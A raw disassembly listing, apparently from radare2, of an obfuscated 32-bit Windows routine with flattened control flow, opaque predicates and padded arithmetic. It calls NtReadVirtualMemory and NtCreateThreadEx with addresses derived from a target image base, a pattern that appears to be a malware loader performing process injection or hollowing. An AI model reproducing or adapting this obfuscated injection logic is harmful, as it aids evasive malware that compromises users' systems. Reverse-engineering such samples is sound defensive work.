mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x170], 0x3f3b20e7
jmp 0x10010019
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
sub ecx, 0xdabd0d55
add ecx, eax
add ecx, 0xdabd0d55
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x341ed4e7
sub edx, 1
add edx, 0x341ed4e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86f9b95e
mov ecx, 0x2f73a25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1006e288]
mov ecx, dword [0x1006e284]
mov edx, eax
sub edx, 0x2baced64
sub edx, 1
add edx, 0x2baced64
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc55db168
mov ecx, 0xac1975a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x10010019
mov dword [ebp - 0x170], 0x8f32009
jmp 0x10010019
mov dword [ebp - 0x170], 0xb43379c
jmp 0x10010019
mov eax, dword [ebp - 0xdc]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x158]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10011bc0
add esp, 0xc
mov eax, dword [ebp - 0x154]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10011bc0
add esp, 0xc
mov dword [ebp - 0x170], 0xd6f6ea23
jmp 0x10010019
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x170], 0x753d4bf6
jmp 0x10010019
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x170], 0xb80b53c3
jmp 0x10010019
mov ax, word [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x170], 0x1004a418
jmp 0x10010019
mov dword [ebp - 0x170], 0xc8aa32fd
jmp 0x10010019
mov dword [ebp - 0x170], 0x4c6db6a0
jmp 0x10010019
mov dword [ebp - 0x170], 0xdf558671
jmp 0x10010019
mov eax, dword [ebp - 0x44]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov edx, dword [eax]
mov eax, dword [ebp - 0x108]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x170], 0xc178b899
jmp 0x10010019
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x170], 0xd88b8902
jmp 0x10010019
mov dword [ebp - 0x170], 0x60cd3fe1
jmp 0x10010019
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x170], 0x729719ea
jmp 0x10010019
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xcf8599f0
sub ecx, eax
sub ecx, 0xcf8599f0
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
sub ecx, 0x99abee9b
add ecx, eax
add ecx, 0x99abee9b
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x170], 0x8d2a3dce
jmp 0x10010019
jmp 0x100085bf